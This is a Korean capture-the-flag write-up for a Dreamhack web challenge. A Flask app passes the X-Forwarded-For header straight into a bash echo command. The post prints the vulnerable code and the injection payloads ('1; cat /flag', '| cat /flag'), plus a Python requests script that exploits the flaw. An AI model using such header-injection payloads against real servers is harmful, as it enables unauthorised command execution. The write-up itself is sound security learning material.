How are they aware of us even behind the wall..?
어떻게 그들이 우리를 알고 있냐 벽 뒤에 있음에도..(?) 영어못함
그들이 우리 ip를 어떻게 알고 있냐 라고 물어보는 것 같은 그냥 제 생각이구요
Flag는 /flag에 있다고 하네요~
문제 페이지이다. 들어가면 제 ip가 출력되는 모습을 볼 수 있다.
암튼 소스 분석 ㄱㄱ
#!/usr/bin/python3
import os
from subprocess import run, TimeoutExpired
from flask import Flask, request, render_template
app = Flask(__name__)
app.secret_key = os.urandom(64)
@app.route('/')
def flag():
user_ip = request.access_route[0] if request.access_route else request.remote_addr
try:
result = run(
["/bin/bash", "-c", f"echo {user_ip}"],
capture_output=True,
text=True,
timeout=3,
)
return render_template("ip.html", result=result.stdout)
except TimeoutExpired:
return render_template("ip.html", result="Timeout!")
app.run(host='0.0.0.0', port=3000)
최상단(/) 에는 flag라는 함수가 정의되어 있다.
request.access_route에서 첫 번째 요소를 user_ip라는 변수에 저장한다. 없으면 request.remote_addr 값을 저장한다.
request.access_route는 클라이언트가 서버에 접근하기 위해 거친 프록시 서버들의 IP주소 목록을 반환한다.
@cached_property
def access_route(self) -> list[str]:
"""If a forwarded header exists this is a list of all ip addresses
from the client ip to the last proxy server.
"""
if "X-Forwarded-For" in self.headers:
return self.list_storage_class(
parse_list_header(self.headers["X-Forwarded-For"])
)
elif self.remote_addr is not None:
return self.list_storage_class([self.remote_addr])
return self.list_storage_class()
access_route를 구성하는 코드이다.
access_route는 X-Forwarded-For라는 헤더를 파싱하는 모습을 볼 수 있다.
그럼 X-Forwarded-For은 뭐하는 거냐?
X-Forwarded-For(XFF)는 HTTP 헤더 중 하나로, 웹 서버에 접속하는 클라이언트의 원 IP 주소를 식별한다.
ex) | 클라이언트 | -> | 프록시1 | -> | 프록시2 | -> | 서버 | 라는 요청이 있다면,
X-Forwarded-For: '클라이언트 IP', '프록시 1 IP', '프록시 2 IP' 가 된다.
참고 : https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Forwarded-For
그렇게 access_route는 X-Forwareded-For 헤더를 가져오고,
여기서는 request.access_route[0]을 user_ip에 저장하므로 0번째인 클라이언트 IP가 저장될 것이다.
현재 문제의 소스코드는 request.access_route[0]를 user_ip 에 그대로 저장하고 있고,
검증을 하지 않은 채 ["/bin/bash", "-c", f"echo {user_ip}"] 를 실행시키는 모습을 볼 수 있다. (내가 뭘 넣을 줄 알고)
따라서 X-Forwarded-For 이라는 헤더를 추가해 cat /flag를 실행시킬 수 있는 명령을 집어넣으면 되겠다.
Burp suite를 이용해 X-Forwarded-For이라는 헤더를 추가해 1; cat /flag를 넣었다. ( |, ||, && 사용해도 됨)
1; cat /flag를 넣으면 최종 식이 f"echo 1; cat /flag" 가 되어 1을 출력하고 cat /flag를 수행하게 된다.
아 참고로 X-Forwarded-For 헤더는 어디에든 삽입해도 되는데 마지막 줄 Connection: close 위에만 해주면 된다
파이썬을 이용해서 request를 보내서 flag를 얻을 수도 있다.
import requests
url = "http://host3.dreamhack.games:PORT/"
header = {"X-Forwarded-For":"8.8.8.8 | cat /flag"}
r = requests.get(url, headers=header)
print(r.text)
임의로 header를 만들어 보내줬다.
끝
도움이 된 글 : https://spoqa.github.io/2012/01/16/wsgi-and-flask.html
'Dreamhack' 카테고리의 다른 글
[Dreamhack] Addition calculator 풀이 (0) | 2024.05.26 |
---|---|
[Dreamhack] simple_sqli_chatgpt 풀이 (0) | 2024.04.03 |
[Dreamhack] BypassIF 풀이 (0) | 2024.04.03 |
[Dreamhack] XSS Filtering Bypass Advanced 풀이 (0) | 2024.03.24 |
[Dreamhack] XSS Filtering Bypass 풀이 (0) | 2024.03.20 |